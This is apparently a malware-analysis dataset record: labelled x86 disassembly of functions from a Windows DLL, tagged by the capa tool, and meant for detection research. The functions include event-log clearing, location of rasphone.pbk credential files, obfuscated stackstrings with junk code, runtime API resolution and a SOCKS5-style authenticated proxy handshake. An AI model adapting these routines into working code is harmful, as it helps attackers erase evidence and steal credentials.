joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002e40
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002e53
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002e81
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret

Function at 0x10002fe0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003088
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x1001e314
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x100030d0
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x100030d0
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x100030d0
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10004360
Capabilities:
Get common file path
Link many functions at runtime

Disassembly:
sub esp, 0x22c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.GetPrivateProfileSectionNamesA
mov edi, ecx
push str.KERNEL32.dll
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.lstrcatA
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call ebx
push eax
call ebp
push str.lstrcpyA
push str.KERNEL32.dll
mov esi, eax
call ebx
push eax
call ebp
push str.GetWindowsDirectoryA
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call ebx
push eax
call ebp
lea ecx, [esp + 0x2c]
push 0x105
push ecx
mov dword [esp + 0x1c], 0
call eax
push str.Documents_and_Settings_
lea edx, [esp + 0x30]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [esp + 0x18]
mov eax, dword [edi + 0x14]
lea ecx, [esp + 0x2c]
push eax
push ecx
call esi
lea edx, [esp + 0x2c]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push edx
call esi
push 0
lea eax, [esp + 0x138]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x134]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
lea edx, [esp + 0x13c]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x144]
push 0x1000
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea edx, [esp + 0x38]
add esp, 0x14
mov esi, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], 2
push str.lstrlenA
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov dword [esp + 0x20], eax
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push ecx
push 0x1000
push esi
call dword [esp + 0x28]
mov al, byte [esi]
mov edi, esi
test al, al
je 0x100044b8
mov edx, dword [esp + 0x14]
push edi
inc edx
mov dword [esp + 0x18], edx
call dword [esp + 0x24]
lea edi, [edi + eax + 1]
cmp byte [edi], 0
jne 0x100044a1
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
add ecx, 4
dec eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], eax
jne 0x1000446a
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x18]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x22c
ret
Function at 0x100044f0
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, pe_nt_image_headers32
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x14]
push esi
test eax, eax
push edi
jne 0x10004515
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x21c]
push edx
push ecx
lea edx, [ebp - 4]
lea ecx, [ebp - 0x11c]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10004543
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x1000455b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ConvertSidToStringSidA
push eax
call esi
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
mov dword [ebp - 0x18], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x100045cf
lea ecx, [ebp - 8]
lea edx, [ebp - 0x11c]
push ecx
push edx
call eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0x18]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005530
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b300
push 0x100198e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push str.GetLastError
push str.KERNEL32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x38], eax
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov ebx, eax
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x2c], eax
push str.CreateDirectoryA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x24], eax
push str.GetFileAttributesA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call ebx
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x100056fc
push esi
push edi
call dword [ebp - 0x2c]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10005645
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10005645
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005620
cmp al, 0x5c
je 0x10005620
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005608
cmp byte [esi], 0
je 0x10005629
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000563e
cmp al, 0x5c
je 0x1000563e
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10005626
cmp byte [esi], 0
je 0x10005664
jmp 0x10005660
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10005664
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10005664
cmp al, 0x5c
jne 0x10005664
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x100056c0
cmp al, 0x5c
jne 0x100056b2
mov byte [esi], 0
push edi
call dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x100056a5
push 0
call ebx
push 0
push edi
call dword [ebp - 0x24]
test eax, eax
jne 0x100056af
push eax
call ebx
call dword [ebp - 0x38]
cmp eax, 0xb7
je 0x100056af
push 0
call ebx
push edi
jmp 0x100056f3
and eax, 0x10
cmp al, 0x10
je 0x100056af
push edi
jmp 0x100056f3
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x1000566a
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100060a0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CloseHandle
mov dword [ebp - 8], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
push str.ReadFile
push str.KERNEL32.dll
mov dword [ebp - 0x10], eax
call esi
push eax
call edi
mov dword [ebp - 0x14], eax
mov al, 0x65
mov byte [ebp - 0x37], al
mov byte [ebp - 0x34], al
mov al, 0x6c
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x6e
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], 0x33
mov byte [ebp - 0x31], 0x32
mov byte [ebp - 0x30], 0x2e
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x2d], al
mov byte [ebp - 0x2c], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov al, 0x65
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], 0x46
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], 0x41
mov byte [ebp - 0x1d], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x38]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LocalAlloc
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.LocalFree
push str.KERNEL32.dll
mov esi, eax
call edi
push eax
call ebx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
cmp dword [edi + 4], 0xffffffff
jne 0x100061d1
mov ecx, dword [ebp - 8]
call fcn.10006280
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebp - 8]
push 0
push 0x80
push 3
push 0
push 1
add edx, 0x20
push bind
push edx
call dword [ebp - 0xc]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100061ff
or eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [edi + 4]
push 0
push edi
push eax
push ebx
call dword [ebp - 0x10]
push 0x2000
push 0x40
mov dword [ebp - 4], 0
call esi
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
mov byte [esi], 0x6a
mov ecx, dword [edi]
mov dword [esi + 1], ecx
mov edx, dword [edi + 4]
lea ecx, [esi + 9]
push 0x1ff7
push ecx
push ebx
mov dword [esi + 5], edx
call dword [ebp - 0x14]
push ebx
call dword [ebp - 0x18]
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x10006266
mov ecx, dword [ebp - 8]
add eax, 9
push eax
push esi
call fcn.1000bc20
push esi
mov edi, eax
call dword [ebp - 0x1c]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
call fcn.10006280
mov edi, dword [ebp + 8]
push esi
call dword [ebp - 0x1c]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10006860
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov al, 0x65
push ebx
mov byte [ebp - 0x27], al
mov byte [ebp - 0x24], al
mov al, 0x6c
push esi
push edi
mov dword [ebp - 0x2c], ecx
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov al, 0x65
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.FindFirstFileA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.FindClose
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.CloseHandle
push str.KERNEL32.dll
mov dword [ebp - 0x38], eax
call esi
push eax
call edi
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov ecx, dword [edi + 0x1c]
mov eax, ecx
sub eax, 2
je 0x10006971
sub eax, 2
je 0x1000696a
sub eax, 2
je 0x10006963
mov esi, ecx
jmp 0x10006976
mov esi, 5
jmp 0x10006976
mov esi, 3
jmp 0x10006976
mov esi, 1
lea edx, [ebp - 0x178]
add edi, 0x20
push edx
push edi
call ebx
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], ecx
mov byte [ebp - 0xc], 0x70
mov dword [ebp - 8], ecx
mov byte [ebp - 4], cl
je 0x100069dc
cmp esi, 1
jne 0x100069b5
mov edx, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
mov dword [ebp - 0xb], edx
mov dword [ebp - 7], ecx
mov esi, 3
jmp 0x100069ee
cmp esi, 3
jne 0x100069c9
xor edx, edx
mov esi, 2
mov dword [ebp - 0xb], edx
mov dword [ebp - 7], edx
jmp 0x100069ee
cmp esi, 5
jne 0x100069eb
mov dword [ebp - 7], 0xffffffff
mov esi, 3
jmp 0x100069ee
xor ecx, ecx
mov esi, 2
mov dword [ebp - 0xb], ecx
mov dword [ebp - 7], ecx
jmp 0x100069ee
mov esi, dword [ebp - 0x30]
push eax
call dword [ebp - 0x38]
xor ebx, ebx
push ebx
push 0x80
push esi
push ebx
push 2
push 0x40000000
push edi
call dword [ebp - 0x34]
cmp eax, 0xffffffff
jne 0x10006a22
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x128], ebx
mov dword [eax + 0x12c], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0xc]
push 9
push edx
call fcn.1000bc20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007610
Capabilities:
Set registry value

Disassembly:
push ecx
push edi
push str.lstrlenA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x10]
mov edi, eax
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007681
push esi
mov esi, dword [esp + 0x1c]
push esi
call edi
mov ecx, dword [esp + 8]
push eax
mov eax, dword [esp + 0x1c]
push esi
push 2
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
jne 0x10007681
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ecx
ret

Function at 0x10007690
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100076e2
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100076e2
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x10007cb0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10007d00
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10007ce7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10007ee0
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.WaitForSingleObject
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateThread
push str.KERNEL32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.LeaveCriticalSection
push str.KERNEL32.dll
mov dword [esp + 0x20], eax
call esi
push eax
call edi
push str.EnterCriticalSection
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov edx, eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x100211c0
mov dword [esp + 0x18], esi
stosb byte es:[edi], al
call edx
mov ecx, dword [0x100214e0]
push 0x100211c0
inc ecx
mov dword [0x100214e0], ecx
call ebp
mov edi, dword [esp + 0x130]
lea eax, [esp + 0x10]
push eax
push edi
mov dword [esp + 0x18], esi
call fcn.10007db0
add esp, 8
cmp eax, esi
je 0x100080c9
mov ebp, dword [esp + 0x128]
cmp eax, 1
je 0x10008013
cmp eax, 2
je 0x10008013
cmp eax, 3
je 0x10008013
cmp eax, 4
jne 0x1000808c
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x138]
lea edx, [esp + 0x28]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10007d20
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x34]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.100085c0
add esp, 0x1c
test eax, eax
je 0x100080c9
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1000808c
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x134]
mov ecx, dword [esp + 0x12c]
push eax
push esi
push edi
push ecx
call fcn.10007e50
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x100080c9
lea edx, [esp + 0x14]
lea eax, [esp + 0x24]
push edx
push eax
mov eax, dword [esp + 0x18]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10007d20
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x34]
lea esi, [ebp + 4]
push edx
push eax
push esi
call fcn.100085c0
add esp, 0x1c
test eax, eax
je 0x100080c9
mov ecx, dword [esp + 0x12c]
mov edx, dword [esi]
push 0
push ebx
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100080c9
cmp dword [ebp], 0
je 0x100080c9
mov eax, dword [ebp + 4]
test eax, eax
je 0x100080c9
lea eax, [esp + 0x20]
push eax
push 0
push ebp
push 0x10009160
push 0
push 0
call dword [esp + 0x30]
test eax, eax
je 0x100080b9
push 0xffffffffffffffff
push eax
call dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x114
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret
Function at 0x100080e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10008110
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1000812a
cmp al, 2
je 0x1000812a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x100211e0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000816d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x100082c3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100082b7
test eax, eax
je 0x100082b7
cmp byte [ebp], 1
je 0x100081cd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x100081f6
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x100081f6
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10008225
cmp ecx, 0x100
jg 0x10008225
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x100211e0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10008252
test cl, cl
je 0x1000824e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10008252
add eax, 2
add esi, 2
test cl, cl
jne 0x1000822e
xor eax, eax
jmp 0x10008257
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10008299
lea esi, [esp + 0x110]
mov eax, 0x100212e0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000828b
test cl, cl
je 0x10008287
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000828b
add eax, 2
add esi, 2
test cl, cl
jne 0x10008267
xor eax, eax
jmp 0x10008290
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10008299
mov byte [ebp + 1], al
jmp 0x1000829d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100082c3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret